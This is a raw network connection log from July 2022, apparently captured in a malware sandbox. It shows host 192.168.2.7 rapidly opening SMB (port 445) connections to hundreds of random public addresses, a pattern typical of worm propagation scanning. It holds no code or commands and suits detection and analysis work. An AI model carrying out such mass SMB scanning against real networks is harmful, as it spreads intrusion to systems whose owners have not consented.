Jul 20, 2022 15:47:32.885409117 CEST	62506	445	192.168.2.7	66.74.226.135
Jul 20, 2022 15:47:32.895968914 CEST	62515	445	192.168.2.7	223.83.158.78
Jul 20, 2022 15:47:32.896003008 CEST	62514	445	192.168.2.7	207.91.38.92
Jul 20, 2022 15:47:32.896112919 CEST	62517	445	192.168.2.7	43.63.178.123
Jul 20, 2022 15:47:32.896235943 CEST	62519	445	192.168.2.7	58.209.63.183
Jul 20, 2022 15:47:32.896286964 CEST	62520	445	192.168.2.7	7.64.89.58
Jul 20, 2022 15:47:32.896492958 CEST	62523	445	192.168.2.7	202.178.59.153
Jul 20, 2022 15:47:33.034440994 CEST	445	62412	107.186.141.54	192.168.2.7
Jul 20, 2022 15:47:33.036376953 CEST	62412	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:33.205602884 CEST	445	62412	107.186.141.54	192.168.2.7
Jul 20, 2022 15:47:33.205792904 CEST	62412	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:33.364948034 CEST	62530	445	192.168.2.7	188.18.139.117
Jul 20, 2022 15:47:33.374798059 CEST	445	62412	107.186.141.54	192.168.2.7
Jul 20, 2022 15:47:33.990001917 CEST	62538	445	192.168.2.7	35.19.112.179
Jul 20, 2022 15:47:33.990247965 CEST	62542	445	192.168.2.7	95.235.234.11
Jul 20, 2022 15:47:33.990377903 CEST	62543	445	192.168.2.7	21.217.82.140
Jul 20, 2022 15:47:33.990626097 CEST	62545	445	192.168.2.7	199.132.100.53
Jul 20, 2022 15:47:33.990704060 CEST	62547	445	192.168.2.7	108.95.137.247
Jul 20, 2022 15:47:33.990902901 CEST	62552	445	192.168.2.7	221.36.13.2
Jul 20, 2022 15:47:33.991054058 CEST	62553	445	192.168.2.7	17.79.203.45
Jul 20, 2022 15:47:33.992145061 CEST	62575	445	192.168.2.7	162.238.248.3
Jul 20, 2022 15:47:33.992489100 CEST	62580	445	192.168.2.7	84.254.246.35
Jul 20, 2022 15:47:33.992496014 CEST	62581	445	192.168.2.7	5.114.177.145
Jul 20, 2022 15:47:33.993031025 CEST	62585	445	192.168.2.7	180.32.222.28
Jul 20, 2022 15:47:33.993179083 CEST	62589	445	192.168.2.7	21.117.32.86
Jul 20, 2022 15:47:33.993365049 CEST	62591	445	192.168.2.7	37.253.235.191
Jul 20, 2022 15:47:33.993565083 CEST	62595	445	192.168.2.7	6.163.116.4
Jul 20, 2022 15:47:33.993771076 CEST	62598	445	192.168.2.7	176.244.161.20
Jul 20, 2022 15:47:33.993876934 CEST	62600	445	192.168.2.7	181.94.11.73
Jul 20, 2022 15:47:33.994251013 CEST	62603	445	192.168.2.7	114.60.185.88
Jul 20, 2022 15:47:33.994323015 CEST	62607	445	192.168.2.7	214.205.201.94
Jul 20, 2022 15:47:33.994442940 CEST	62609	445	192.168.2.7	184.149.45.105
Jul 20, 2022 15:47:33.994621038 CEST	62611	445	192.168.2.7	120.191.104.182
Jul 20, 2022 15:47:33.995156050 CEST	62622	445	192.168.2.7	47.53.83.195
Jul 20, 2022 15:47:33.995462894 CEST	62626	445	192.168.2.7	217.95.128.44
Jul 20, 2022 15:47:34.006170988 CEST	62633	445	192.168.2.7	133.9.146.80
Jul 20, 2022 15:47:34.006313086 CEST	62635	445	192.168.2.7	18.239.187.15
Jul 20, 2022 15:47:34.006438017 CEST	62636	445	192.168.2.7	20.22.221.140
Jul 20, 2022 15:47:34.006570101 CEST	62639	445	192.168.2.7	16.9.209.57
Jul 20, 2022 15:47:34.006716967 CEST	62640	445	192.168.2.7	64.136.30.168
Jul 20, 2022 15:47:34.006938934 CEST	62644	445	192.168.2.7	6.35.15.30
Jul 20, 2022 15:47:34.443468094 CEST	62650	445	192.168.2.7	188.18.139.118
Jul 20, 2022 15:47:35.115178108 CEST	62660	445	192.168.2.7	74.103.234.225
Jul 20, 2022 15:47:35.115505934 CEST	62662	445	192.168.2.7	124.19.55.188
Jul 20, 2022 15:47:35.115726948 CEST	62665	445	192.168.2.7	199.80.5.155
Jul 20, 2022 15:47:35.116033077 CEST	62670	445	192.168.2.7	179.179.149.22
Jul 20, 2022 15:47:35.116194010 CEST	62672	445	192.168.2.7	181.168.51.237
Jul 20, 2022 15:47:35.116606951 CEST	62678	445	192.168.2.7	51.183.119.124
Jul 20, 2022 15:47:35.116763115 CEST	62681	445	192.168.2.7	49.206.236.184
Jul 20, 2022 15:47:35.116760015 CEST	62675	445	192.168.2.7	144.153.40.99
Jul 20, 2022 15:47:35.116940022 CEST	62683	445	192.168.2.7	185.3.55.156
Jul 20, 2022 15:47:35.117160082 CEST	62687	445	192.168.2.7	44.14.165.244
Jul 20, 2022 15:47:35.117342949 CEST	62690	445	192.168.2.7	115.123.69.237
Jul 20, 2022 15:47:35.117490053 CEST	62692	445	192.168.2.7	16.249.222.174
Jul 20, 2022 15:47:35.117646933 CEST	62694	445	192.168.2.7	51.4.121.140
Jul 20, 2022 15:47:35.118230104 CEST	62705	445	192.168.2.7	25.214.83.192
Jul 20, 2022 15:47:35.118479013 CEST	62709	445	192.168.2.7	3.174.144.42
Jul 20, 2022 15:47:35.118665934 CEST	62711	445	192.168.2.7	38.201.178.203
Jul 20, 2022 15:47:35.118773937 CEST	62712	445	192.168.2.7	165.110.103.135
Jul 20, 2022 15:47:35.119055986 CEST	62717	445	192.168.2.7	138.203.4.159
Jul 20, 2022 15:47:35.119100094 CEST	62718	445	192.168.2.7	24.13.161.99
Jul 20, 2022 15:47:35.119468927 CEST	62723	445	192.168.2.7	154.62.93.80
Jul 20, 2022 15:47:35.119564056 CEST	62725	445	192.168.2.7	106.201.98.112
Jul 20, 2022 15:47:35.119745970 CEST	62728	445	192.168.2.7	159.191.106.229
Jul 20, 2022 15:47:35.130491972 CEST	62751	445	192.168.2.7	122.147.135.59
Jul 20, 2022 15:47:35.130618095 CEST	62754	445	192.168.2.7	125.63.24.168
Jul 20, 2022 15:47:35.130748987 CEST	62756	445	192.168.2.7	94.216.248.114
Jul 20, 2022 15:47:35.130908966 CEST	62759	445	192.168.2.7	65.178.248.183
Jul 20, 2022 15:47:35.130959034 CEST	62760	445	192.168.2.7	23.19.116.115
Jul 20, 2022 15:47:35.131108999 CEST	62762	445	192.168.2.7	135.79.200.159
Jul 20, 2022 15:47:35.521050930 CEST	62770	445	192.168.2.7	188.18.139.119
Jul 20, 2022 15:47:36.240376949 CEST	62779	445	192.168.2.7	63.162.83.226
Jul 20, 2022 15:47:36.240597963 CEST	62782	445	192.168.2.7	130.228.33.102
Jul 20, 2022 15:47:36.240617990 CEST	62783	445	192.168.2.7	23.194.197.192
Jul 20, 2022 15:47:36.240773916 CEST	62784	445	192.168.2.7	201.79.101.177
Jul 20, 2022 15:47:36.241301060 CEST	62796	445	192.168.2.7	57.88.50.192
Jul 20, 2022 15:47:36.241579056 CEST	62802	445	192.168.2.7	32.193.53.176
Jul 20, 2022 15:47:36.241713047 CEST	62803	445	192.168.2.7	99.232.219.74
Jul 20, 2022 15:47:36.241818905 CEST	62805	445	192.168.2.7	2.19.7.18
Jul 20, 2022 15:47:36.242039919 CEST	62807	445	192.168.2.7	167.235.54.44
Jul 20, 2022 15:47:36.242074013 CEST	62810	445	192.168.2.7	180.106.247.37
Jul 20, 2022 15:47:36.242337942 CEST	62816	445	192.168.2.7	134.116.179.46
Jul 20, 2022 15:47:36.242578983 CEST	62820	445	192.168.2.7	57.93.59.2
Jul 20, 2022 15:47:36.243719101 CEST	62841	445	192.168.2.7	210.64.187.79
Jul 20, 2022 15:47:36.243931055 CEST	62818	445	192.168.2.7	20.121.243.146
Jul 20, 2022 15:47:36.243964911 CEST	62845	445	192.168.2.7	32.156.200.74
Jul 20, 2022 15:47:36.244103909 CEST	62848	445	192.168.2.7	139.49.210.25
Jul 20, 2022 15:47:36.244340897 CEST	62852	445	192.168.2.7	196.120.191.115
Jul 20, 2022 15:47:36.244563103 CEST	62856	445	192.168.2.7	183.160.111.108
Jul 20, 2022 15:47:36.244714975 CEST	62858	445	192.168.2.7	159.183.217.142
Jul 20, 2022 15:47:36.244885921 CEST	62862	445	192.168.2.7	67.132.100.199
Jul 20, 2022 15:47:36.245090961 CEST	62865	445	192.168.2.7	190.130.202.89
Jul 20, 2022 15:47:36.245119095 CEST	62866	445	192.168.2.7	56.153.148.101
Jul 20, 2022 15:47:36.255445957 CEST	62870	445	192.168.2.7	15.149.197.54
Jul 20, 2022 15:47:36.255764961 CEST	62875	445	192.168.2.7	93.157.59.113
Jul 20, 2022 15:47:36.256010056 CEST	62878	445	192.168.2.7	61.104.161.254
Jul 20, 2022 15:47:36.256166935 CEST	62879	445	192.168.2.7	210.122.236.92
Jul 20, 2022 15:47:36.256169081 CEST	62883	445	192.168.2.7	125.110.143.55
Jul 20, 2022 15:47:36.256198883 CEST	62882	445	192.168.2.7	172.9.148.238
Jul 20, 2022 15:47:36.348982096 CEST	445	62852	196.120.191.115	192.168.2.7
Jul 20, 2022 15:47:36.380383968 CEST	62889	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:36.411370039 CEST	61934	445	192.168.2.7	149.20.139.5
Jul 20, 2022 15:47:36.551443100 CEST	445	62889	107.186.141.54	192.168.2.7
Jul 20, 2022 15:47:36.551608086 CEST	62889	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:36.551701069 CEST	62889	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:36.599793911 CEST	62891	445	192.168.2.7	188.18.139.120
Jul 20, 2022 15:47:36.722599983 CEST	445	62889	107.186.141.54	192.168.2.7
Jul 20, 2022 15:47:36.722769022 CEST	62889	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:36.848902941 CEST	62852	445	192.168.2.7	196.120.191.115
Jul 20, 2022 15:47:36.893697977 CEST	445	62889	107.186.141.54	192.168.2.7
Jul 20, 2022 15:47:36.893862009 CEST	62889	445	192.168.2.7	107.186.141.54
Jul 20, 2022 15:47:37.028224945 CEST	445	62852	196.120.191.115	192.168.2.7
Jul 20, 2022 15:47:37.064799070 CEST	445	62889	107.186.141.54	192.168.2.7
Jul 20, 2022 15:47:37.130712986 CEST	62895	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:37.301639080 CEST	445	62895	107.186.141.55	192.168.2.7
Jul 20, 2022 15:47:37.301799059 CEST	62895	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:37.301904917 CEST	62895	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:37.303458929 CEST	62899	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:37.350816011 CEST	62913	445	192.168.2.7	196.220.123.86
Jul 20, 2022 15:47:37.350851059 CEST	62917	445	192.168.2.7	27.73.243.31
Jul 20, 2022 15:47:37.350914955 CEST	62918	445	192.168.2.7	151.104.73.82
Jul 20, 2022 15:47:37.351881027 CEST	62935	445	192.168.2.7	54.126.150.27
Jul 20, 2022 15:47:37.352037907 CEST	62938	445	192.168.2.7	135.119.236.22
Jul 20, 2022 15:47:37.352531910 CEST	62946	445	192.168.2.7	15.93.89.194
Jul 20, 2022 15:47:37.352741957 CEST	62949	445	192.168.2.7	213.233.100.124
Jul 20, 2022 15:47:37.352866888 CEST	62951	445	192.168.2.7	16.195.0.61
Jul 20, 2022 15:47:37.353060007 CEST	62954	445	192.168.2.7	113.123.127.80
Jul 20, 2022 15:47:37.353188992 CEST	62940	445	192.168.2.7	65.197.220.167
Jul 20, 2022 15:47:37.353322029 CEST	62957	445	192.168.2.7	19.161.71.0
Jul 20, 2022 15:47:37.353456020 CEST	62959	445	192.168.2.7	54.92.173.31
Jul 20, 2022 15:47:37.353863001 CEST	62963	445	192.168.2.7	121.76.44.56
Jul 20, 2022 15:47:37.354496956 CEST	62974	445	192.168.2.7	67.232.111.140
Jul 20, 2022 15:47:37.354646921 CEST	62976	445	192.168.2.7	161.157.233.172
Jul 20, 2022 15:47:37.354865074 CEST	62979	445	192.168.2.7	131.163.176.88
Jul 20, 2022 15:47:37.355032921 CEST	62982	445	192.168.2.7	148.48.246.199
Jul 20, 2022 15:47:37.355293036 CEST	62986	445	192.168.2.7	179.142.93.53
Jul 20, 2022 15:47:37.355446100 CEST	62988	445	192.168.2.7	43.62.230.238
Jul 20, 2022 15:47:37.355509043 CEST	62989	445	192.168.2.7	223.149.177.196
Jul 20, 2022 15:47:37.355707884 CEST	62992	445	192.168.2.7	156.186.250.103
Jul 20, 2022 15:47:37.355962992 CEST	62969	445	192.168.2.7	50.104.253.32
Jul 20, 2022 15:47:37.381495953 CEST	63000	445	192.168.2.7	201.84.197.20
Jul 20, 2022 15:47:37.381774902 CEST	63004	445	192.168.2.7	162.57.30.100
Jul 20, 2022 15:47:37.381794930 CEST	63001	445	192.168.2.7	27.239.27.58
Jul 20, 2022 15:47:37.381990910 CEST	63008	445	192.168.2.7	180.73.123.47
Jul 20, 2022 15:47:37.382246971 CEST	63012	445	192.168.2.7	165.199.168.54
Jul 20, 2022 15:47:37.383753061 CEST	62999	445	192.168.2.7	49.147.131.37
Jul 20, 2022 15:47:37.472315073 CEST	445	62895	107.186.141.55	192.168.2.7
Jul 20, 2022 15:47:37.472377062 CEST	445	62895	107.186.141.55	192.168.2.7
Jul 20, 2022 15:47:37.474090099 CEST	445	62899	107.186.141.55	192.168.2.7
Jul 20, 2022 15:47:37.474230051 CEST	62899	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:37.474977970 CEST	62899	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:37.629087925 CEST	445	62999	49.147.131.37	192.168.2.7
Jul 20, 2022 15:47:37.645956039 CEST	445	62899	107.186.141.55	192.168.2.7
Jul 20, 2022 15:47:37.646208048 CEST	62899	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:37.679058075 CEST	63014	445	192.168.2.7	188.18.139.121
Jul 20, 2022 15:47:37.816806078 CEST	445	62899	107.186.141.55	192.168.2.7
Jul 20, 2022 15:47:37.816978931 CEST	62899	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:37.987509012 CEST	445	62899	107.186.141.55	192.168.2.7
Jul 20, 2022 15:47:38.130259037 CEST	62999	445	192.168.2.7	49.147.131.37
Jul 20, 2022 15:47:38.376116037 CEST	445	62999	49.147.131.37	192.168.2.7
Jul 20, 2022 15:47:38.458988905 CEST	63023	445	192.168.2.7	180.36.138.163
Jul 20, 2022 15:47:38.459252119 CEST	63028	445	192.168.2.7	30.82.135.88
Jul 20, 2022 15:47:38.459321022 CEST	63029	445	192.168.2.7	218.181.169.108
Jul 20, 2022 15:47:38.459616899 CEST	63034	445	192.168.2.7	170.72.113.220
Jul 20, 2022 15:47:38.459877968 CEST	63039	445	192.168.2.7	19.179.181.225
Jul 20, 2022 15:47:38.460103035 CEST	63043	445	192.168.2.7	82.84.5.72
Jul 20, 2022 15:47:38.460315943 CEST	63046	445	192.168.2.7	157.167.167.169
Jul 20, 2022 15:47:38.460463047 CEST	63049	445	192.168.2.7	177.45.48.100
Jul 20, 2022 15:47:38.460628033 CEST	63052	445	192.168.2.7	187.246.167.180
Jul 20, 2022 15:47:38.460864067 CEST	63056	445	192.168.2.7	167.194.196.120
Jul 20, 2022 15:47:38.460921049 CEST	63057	445	192.168.2.7	86.148.24.75
Jul 20, 2022 15:47:38.461050987 CEST	63059	445	192.168.2.7	216.36.71.59
Jul 20, 2022 15:47:38.461208105 CEST	63062	445	192.168.2.7	85.14.101.72
Jul 20, 2022 15:47:38.461805105 CEST	63073	445	192.168.2.7	50.239.18.245
Jul 20, 2022 15:47:38.461957932 CEST	63076	445	192.168.2.7	177.46.243.72
Jul 20, 2022 15:47:38.462094069 CEST	63078	445	192.168.2.7	3.248.251.242
Jul 20, 2022 15:47:38.462471008 CEST	63085	445	192.168.2.7	50.44.180.160
Jul 20, 2022 15:47:38.462513924 CEST	63086	445	192.168.2.7	69.183.105.248
Jul 20, 2022 15:47:38.462675095 CEST	63088	445	192.168.2.7	144.120.175.72
Jul 20, 2022 15:47:38.463632107 CEST	63105	445	192.168.2.7	118.179.115.27
Jul 20, 2022 15:47:38.463833094 CEST	63108	445	192.168.2.7	27.201.176.165
Jul 20, 2022 15:47:38.464004040 CEST	63111	445	192.168.2.7	24.143.8.105
Jul 20, 2022 15:47:38.505966902 CEST	63121	445	192.168.2.7	106.212.178.51
Jul 20, 2022 15:47:38.506017923 CEST	63122	445	192.168.2.7	197.181.84.33
Jul 20, 2022 15:47:38.506113052 CEST	63123	445	192.168.2.7	163.206.139.182
Jul 20, 2022 15:47:38.506170988 CEST	63124	445	192.168.2.7	112.191.18.213
Jul 20, 2022 15:47:38.506546974 CEST	63129	445	192.168.2.7	203.121.65.16
Jul 20, 2022 15:47:38.506902933 CEST	63134	445	192.168.2.7	219.195.242.130
Jul 20, 2022 15:47:38.755686998 CEST	63136	445	192.168.2.7	188.18.139.122
Jul 20, 2022 15:47:39.585313082 CEST	63151	445	192.168.2.7	172.204.35.219
Jul 20, 2022 15:47:39.585429907 CEST	63152	445	192.168.2.7	79.54.0.61
Jul 20, 2022 15:47:39.585630894 CEST	63154	445	192.168.2.7	159.199.216.73
Jul 20, 2022 15:47:39.586474895 CEST	63167	445	192.168.2.7	128.186.83.10
Jul 20, 2022 15:47:39.586873055 CEST	63171	445	192.168.2.7	142.214.19.85
Jul 20, 2022 15:47:39.586873055 CEST	63170	445	192.168.2.7	142.102.132.146
Jul 20, 2022 15:47:39.587049007 CEST	63172	445	192.168.2.7	74.235.229.91
Jul 20, 2022 15:47:39.587388039 CEST	63177	445	192.168.2.7	25.246.153.177
Jul 20, 2022 15:47:39.587579966 CEST	63179	445	192.168.2.7	174.87.10.101
Jul 20, 2022 15:47:39.587626934 CEST	63181	445	192.168.2.7	147.67.114.93
Jul 20, 2022 15:47:39.587903976 CEST	63186	445	192.168.2.7	36.125.174.26
Jul 20, 2022 15:47:39.588143110 CEST	63189	445	192.168.2.7	60.38.58.132
Jul 20, 2022 15:47:39.588450909 CEST	63195	445	192.168.2.7	219.160.167.227
Jul 20, 2022 15:47:39.588776112 CEST	63200	445	192.168.2.7	175.196.172.202
Jul 20, 2022 15:47:39.588820934 CEST	63201	445	192.168.2.7	205.222.254.144
Jul 20, 2022 15:47:39.589164972 CEST	63206	445	192.168.2.7	79.201.75.241
Jul 20, 2022 15:47:39.589452982 CEST	63211	445	192.168.2.7	173.91.140.111
Jul 20, 2022 15:47:39.589581013 CEST	63213	445	192.168.2.7	81.66.121.93
Jul 20, 2022 15:47:39.590132952 CEST	63216	445	192.168.2.7	70.100.4.198
Jul 20, 2022 15:47:39.590683937 CEST	63232	445	192.168.2.7	148.182.133.65
Jul 20, 2022 15:47:39.590821028 CEST	63234	445	192.168.2.7	214.171.187.16
Jul 20, 2022 15:47:39.590955973 CEST	63235	445	192.168.2.7	1.5.159.233
Jul 20, 2022 15:47:39.631735086 CEST	63239	445	192.168.2.7	6.159.243.253
Jul 20, 2022 15:47:39.632324934 CEST	63242	445	192.168.2.7	152.64.178.62
Jul 20, 2022 15:47:39.632916927 CEST	63246	445	192.168.2.7	186.109.21.15
Jul 20, 2022 15:47:39.633085012 CEST	63247	445	192.168.2.7	56.35.232.182
Jul 20, 2022 15:47:39.633465052 CEST	63249	445	192.168.2.7	222.74.97.115
Jul 20, 2022 15:47:39.633634090 CEST	63250	445	192.168.2.7	121.120.16.93
Jul 20, 2022 15:47:39.833785057 CEST	63258	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:39.934663057 CEST	445	63258	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:39.934762955 CEST	63258	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:39.938137054 CEST	63258	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:39.938141108 CEST	63259	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:40.030796051 CEST	445	63258	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:40.030817986 CEST	445	63259	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:40.030989885 CEST	63259	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:40.031001091 CEST	63259	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:40.034686089 CEST	445	63258	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:40.035294056 CEST	63258	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:40.122780085 CEST	445	63259	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:40.130728960 CEST	445	63259	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:40.130862951 CEST	63259	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:40.226785898 CEST	445	63259	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:40.226977110 CEST	63259	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:40.324071884 CEST	445	63259	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:40.324207067 CEST	63259	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:40.414794922 CEST	445	63259	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:40.414967060 CEST	63259	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:40.510818005 CEST	445	63259	188.18.139.123	192.168.2.7
Jul 20, 2022 15:47:40.510993004 CEST	63259	445	192.168.2.7	188.18.139.123
Jul 20, 2022 15:47:40.599411964 CEST	54329	445	192.168.2.7	38.85.220.1
Jul 20, 2022 15:47:40.709595919 CEST	63269	445	192.168.2.7	78.175.214.41
Jul 20, 2022 15:47:40.710397005 CEST	63285	445	192.168.2.7	144.194.149.202
Jul 20, 2022 15:47:40.710522890 CEST	63287	445	192.168.2.7	164.226.80.222
Jul 20, 2022 15:47:40.710628033 CEST	63289	445	192.168.2.7	71.237.124.222
Jul 20, 2022 15:47:40.710781097 CEST	63293	445	192.168.2.7	125.215.85.244
Jul 20, 2022 15:47:40.710896969 CEST	63294	445	192.168.2.7	219.203.22.128
Jul 20, 2022 15:47:40.711054087 CEST	63297	445	192.168.2.7	2.84.224.205
Jul 20, 2022 15:47:40.711179018 CEST	63300	445	192.168.2.7	26.110.29.182
Jul 20, 2022 15:47:40.711396933 CEST	63304	445	192.168.2.7	128.3.100.22
Jul 20, 2022 15:47:40.711836100 CEST	63315	445	192.168.2.7	212.175.71.118
Jul 20, 2022 15:47:40.711967945 CEST	63317	445	192.168.2.7	49.211.8.241
Jul 20, 2022 15:47:40.712188005 CEST	63322	445	192.168.2.7	17.201.121.175
Jul 20, 2022 15:47:40.712413073 CEST	63325	445	192.168.2.7	44.72.136.95
Jul 20, 2022 15:47:40.712539911 CEST	63328	445	192.168.2.7	118.5.57.124
Jul 20, 2022 15:47:40.712723970 CEST	63332	445	192.168.2.7	134.64.225.61
Jul 20, 2022 15:47:40.712918043 CEST	63335	445	192.168.2.7	145.187.89.249
Jul 20, 2022 15:47:40.713049889 CEST	63339	445	192.168.2.7	208.242.182.77
Jul 20, 2022 15:47:40.713282108 CEST	63343	445	192.168.2.7	119.38.108.250
Jul 20, 2022 15:47:40.713519096 CEST	63349	445	192.168.2.7	6.30.52.243
Jul 20, 2022 15:47:40.713685989 CEST	63353	445	192.168.2.7	132.176.27.117
Jul 20, 2022 15:47:40.713840008 CEST	63356	445	192.168.2.7	192.217.96.233
Jul 20, 2022 15:47:40.713922024 CEST	63357	445	192.168.2.7	211.0.203.138
Jul 20, 2022 15:47:40.757303953 CEST	63362	445	192.168.2.7	85.161.26.251
Jul 20, 2022 15:47:40.757594109 CEST	63366	445	192.168.2.7	37.89.123.28
Jul 20, 2022 15:47:40.757760048 CEST	63369	445	192.168.2.7	9.14.175.5
Jul 20, 2022 15:47:40.757910013 CEST	63371	445	192.168.2.7	143.45.130.215
Jul 20, 2022 15:47:40.758034945 CEST	63373	445	192.168.2.7	58.104.182.115
Jul 20, 2022 15:47:40.758136988 CEST	63374	445	192.168.2.7	169.176.142.41
Jul 20, 2022 15:47:40.990226984 CEST	63382	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:41.165204048 CEST	445	63382	107.186.141.55	192.168.2.7
Jul 20, 2022 15:47:41.165324926 CEST	63382	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:41.165369034 CEST	63382	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:41.338546991 CEST	445	63382	107.186.141.55	192.168.2.7
Jul 20, 2022 15:47:41.338715076 CEST	63382	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:41.513885975 CEST	445	63382	107.186.141.55	192.168.2.7
Jul 20, 2022 15:47:41.514167070 CEST	63382	445	192.168.2.7	107.186.141.55
Jul 20, 2022 15:47:41.690512896 CEST	445	63382	107.186.141.55	192.168.2.7
Jul 20, 2022 15:47:41.756203890 CEST	63390	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:41.834223032 CEST	63393	445	192.168.2.7	1.220.35.235
Jul 20, 2022 15:47:41.834696054 CEST	63401	445	192.168.2.7	103.149.143.111
Jul 20, 2022 15:47:41.835011005 CEST	63405	445	192.168.2.7	180.116.137.82
Jul 20, 2022 15:47:41.835211992 CEST	63408	445	192.168.2.7	36.212.100.103
Jul 20, 2022 15:47:41.835491896 CEST	63411	445	192.168.2.7	195.124.2.83
Jul 20, 2022 15:47:41.835666895 CEST	63413	445	192.168.2.7	34.39.170.195
Jul 20, 2022 15:47:41.835671902 CEST	63414	445	192.168.2.7	162.179.178.184
Jul 20, 2022 15:47:41.835843086 CEST	63416	445	192.168.2.7	124.202.206.68
Jul 20, 2022 15:47:41.837105989 CEST	63438	445	192.168.2.7	93.138.34.10
Jul 20, 2022 15:47:41.837560892 CEST	63447	445	192.168.2.7	216.94.46.207
Jul 20, 2022 15:47:41.837810040 CEST	63452	445	192.168.2.7	11.244.132.251
Jul 20, 2022 15:47:41.838001966 CEST	63455	445	192.168.2.7	143.79.73.151
Jul 20, 2022 15:47:41.838016987 CEST	63456	445	192.168.2.7	144.164.237.155
Jul 20, 2022 15:47:41.838252068 CEST	63460	445	192.168.2.7	177.119.100.94
Jul 20, 2022 15:47:41.838305950 CEST	63433	445	192.168.2.7	3.173.71.156
Jul 20, 2022 15:47:41.838325024 CEST	63450	445	192.168.2.7	222.136.93.57
Jul 20, 2022 15:47:41.838325977 CEST	63443	445	192.168.2.7	44.207.86.182
Jul 20, 2022 15:47:41.838723898 CEST	63469	445	192.168.2.7	5.32.147.138
Jul 20, 2022 15:47:41.839031935 CEST	63475	445	192.168.2.7	143.147.68.126
Jul 20, 2022 15:47:41.839032888 CEST	63470	445	192.168.2.7	185.175.229.206
Jul 20, 2022 15:47:41.841033936 CEST	63463	445	192.168.2.7	187.28.101.221
Jul 20, 2022 15:47:41.841044903 CEST	63476	445	192.168.2.7	143.143.229.145
Jul 20, 2022 15:47:41.881084919 CEST	63486	445	192.168.2.7	20.17.242.89
Jul 20, 2022 15:47:41.881532907 CEST	63490	445	192.168.2.7	186.104.207.165
Jul 20, 2022 15:47:41.881762028 CEST	63492	445	192.168.2.7	2.119.177.135
Jul 20, 2022 15:47:41.882009029 CEST	63496	445	192.168.2.7	216.168.58.224
Jul 20, 2022 15:47:41.882035971 CEST	63495	445	192.168.2.7	122.176.128.58
Jul 20, 2022 15:47:41.882225990 CEST	63498	445	192.168.2.7	114.20.155.13
Jul 20, 2022 15:47:41.925570011 CEST	445	63390	107.186.141.56	192.168.2.7
Jul 20, 2022 15:47:41.925672054 CEST	63390	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:41.925733089 CEST	63390	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:41.926178932 CEST	63505	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:42.094639063 CEST	445	63390	107.186.141.56	192.168.2.7
Jul 20, 2022 15:47:42.094676018 CEST	445	63390	107.186.141.56	192.168.2.7
Jul 20, 2022 15:47:42.094830036 CEST	445	63505	107.186.141.56	192.168.2.7
Jul 20, 2022 15:47:42.094953060 CEST	63505	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:42.095005989 CEST	63505	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:42.266136885 CEST	445	63505	107.186.141.56	192.168.2.7
Jul 20, 2022 15:47:42.266340971 CEST	63505	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:42.435281038 CEST	445	63505	107.186.141.56	192.168.2.7
Jul 20, 2022 15:47:42.435406923 CEST	63505	445	192.168.2.7	107.186.141.56
Jul 20, 2022 15:47:42.607631922 CEST	445	63505	107.186.141.56	192.168.2.7
Jul 20, 2022 15:47:42.990962029 CEST	63514	445	192.168.2.7	8.171.121.149
Jul 20, 2022 15:47:42.991245031 CEST	63517	445	192.168.2.7	20.200.46.46
Jul 20, 2022 15:47:42.991771936 CEST	63523	445	192.168.2.7	49.29.167.130
Jul 20, 2022 15:47:42.991806030 CEST	63524	445	192.168.2.7	149.51.30.205
Jul 20, 2022 15:47:42.992192030 CEST	63529	445	192.168.2.7	61.202.7.166
Jul 20, 2022 15:47:42.992274046 CEST	63530	445	192.168.2.7	74.242.16.140
Jul 20, 2022 15:47:43.007119894 CEST	63546	445	192.168.2.7	201.173.164.57
Jul 20, 2022 15:47:43.007563114 CEST	63550	445	192.168.2.7	86.80.59.203
Jul 20, 2022 15:47:43.007783890 CEST	63552	445	192.168.2.7	69.231.85.133
Jul 20, 2022 15:47:43.008183002 CEST	63556	445	192.168.2.7	14.212.51.197
Jul 20, 2022 15:47:43.008296967 CEST	63557	445	192.168.2.7	17.72.230.126
Jul 20, 2022 15:47:43.008426905 CEST	63558	445	192.168.2.7	24.133.155.233
Jul 20, 2022 15:47:43.008631945 CEST	63560	445	192.168.2.7	50.165.44.69
